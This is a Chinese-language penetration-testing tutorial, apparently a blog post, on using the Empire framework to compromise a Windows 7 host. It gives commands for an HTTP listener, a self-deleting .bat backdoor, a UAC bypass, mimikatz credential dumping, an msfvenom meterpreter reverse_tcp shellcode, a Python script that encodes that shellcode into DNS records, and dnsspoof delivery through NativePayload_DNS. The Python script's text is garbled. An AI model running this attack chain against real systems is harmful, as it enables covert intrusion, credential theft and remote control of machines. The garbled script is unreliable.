前言:

Empire一款基于PowerShell的后渗透测试工具。感谢某葵和某Egg的推荐和指点。感谢某骗子给我解惑DNS的一些东西。


安装:

  • github项目地址:

    https://github.com/EmpireProject/Empire

  • 下载:

    git clone https://github.com/EmpireProject/Empire.git

  • Empiresetup目录执行install.sh文件

    ./install.sh

开始下载安装运行依赖文件

最后设置数据库密码那里可以默认回车,也可以自己设置

踩坑经历:


如果安装途中,遇到网络问题,多次执行./install.sh文件安装全部依赖,运行主目录下empire启动程序前,先执行setup目录下的reset.sh后再执行主目录empire文件。


  • 使用

    (Empire)> listeners     # 监听

    • 监听

(Empire: listeners) > uselistener http   #选择监听方式

(Empire: listeners/http) > info     #查看需要配置的选项

(Empire: listeners/http) > set Name backdoor    #设置监听名字

养成良好的习惯设置自己容易理解的名字,方便管理shell

(Empire: listeners/http) > set Host http://192.168.80.131:4447             #设置木马反弹回连地址

(Empire: listeners/http) > set Port 4447 #设置本地监听端口

(Empire: listeners/http) > execute     #执行监听

至此,监听工作完成。我们开始配置生成后门。

  • 生成木马
    (Empire: listeners/http) > back #返回上层模块
    (Empire: listeners) > usestager windows/launcher_bat backdoor  # 选择木马种类

这里我选择的是bat类型的脚本,当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。

(Empire: stager/windows/launcher_bat) > info     #查看需要配置的

你可以set OutFile 到你指定的目录(绝对路径)

(Empire: stager/windows/launcher_bat) > execute  #执行生成木马

我们把tmp目录下的文件拷贝到我们的目标主机上运行

弹出一个黑框后,它自动消失了,是因为我们刚才生成backdoor的时候其中一个选项delete设置的True,运行结束后删除自身。

点击完我们的backdoor之后,我们回到我们的机器可以看到已经获取到了客户端的一个会话。

(Empire: stager/windows/launcher_bat) > agents   #查看获取的代理会话

一个会话已经建立完成。

(Empire: agents) > rename HZFT7AX1 win7pro #更改会话名字

养成一个良好的习惯。

(Empire: agents) > interact win7pro    #和该会话交互

从session_key这里可以看出我们的会话是经过加密的。

同时该框架还提供了bypassuac,mimikaz等模块,为渗透提供高效,快速的提升权限,信息获取。

正好结合这个说一个dns传输backdoor payload的方式

  • NativePayload_DNS
    项目地址:

    https://github.com/DamonMohammadbagher/NativePayload_DNS.git
    首先编译源码生成可执行文件
    使用visual studio 工具命令编译!

生成NativePayload_DNS.exe 。

上传到我们攻击的机器上去,进入到交互界面。

首先我们先试试利用bypassuac这个功能,看看是否可以提升权限获取该机器管理员的密码,直接运行mimikatz是会报错的。

运行后我们看到有第二个会话开始建立中,稍等片刻

(Empire: win7pro) > agents    #列举代理会话

细心的人可能发现多了一个*号那个usename那里

(Empire: agents) > rename 8TKB4G9S win7proprivilege #这里我说了三遍,很重要。

(Empire: agents) > interact win7proprivilege    #和这个会话交互

(Empire: win7proprivilege) > mimikatz #使用mimikatz

(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe #上传

(Empire: win7proprivilege) > shell dir #查看是否上传成功.

开始配置服务端

	

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.80.131 lport=4444 -f c > /root/Desktop/payload.txt

#生成shellcode

这里申明下,网上的命令可能因为文章格式问题,导致命令不对,这里我做了修正。写了一个转换脚本,代码如下(一把梭,勿喷):

	

#!/usr/bin/python2 #!-*- coding:utf-8 -*- a = '' f = open("payload.txt""rb") line = f.readlines()[1:] f.close() for lines in range(len(line)):     ipls = '1.1.1.%s' % lines     shellcode = line[lines].replace(";","").strip().rstrip(""")+".1.com"+"""     text = ipls + " " + """ + "0x"+shellcode.lstrip(""")     a += text.replace("\","0")+"n" fn = open("dns.txt""wb") fn.write(a) fn.close()

这里网上给出的样例也有问题,看了好久发现传输的payload缺少了一个"0x",于是在dns.txt做了修改。一直被老哥教育细心,耐心,这回总算用成了一回。

开启msf监听,这里就不再赘述了。

开启欺骗

root@localhost# dnsspoof -f dns.txt

服务端配置完成,现在回到我们的empire会话执行命令,获取meterpreter shell.

(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131 #执行

这个比较慢,需要稍等会,等它传输完,就会返回shell。


一张图证明empire绕过了UAC:





作者:ChaMd5安全团队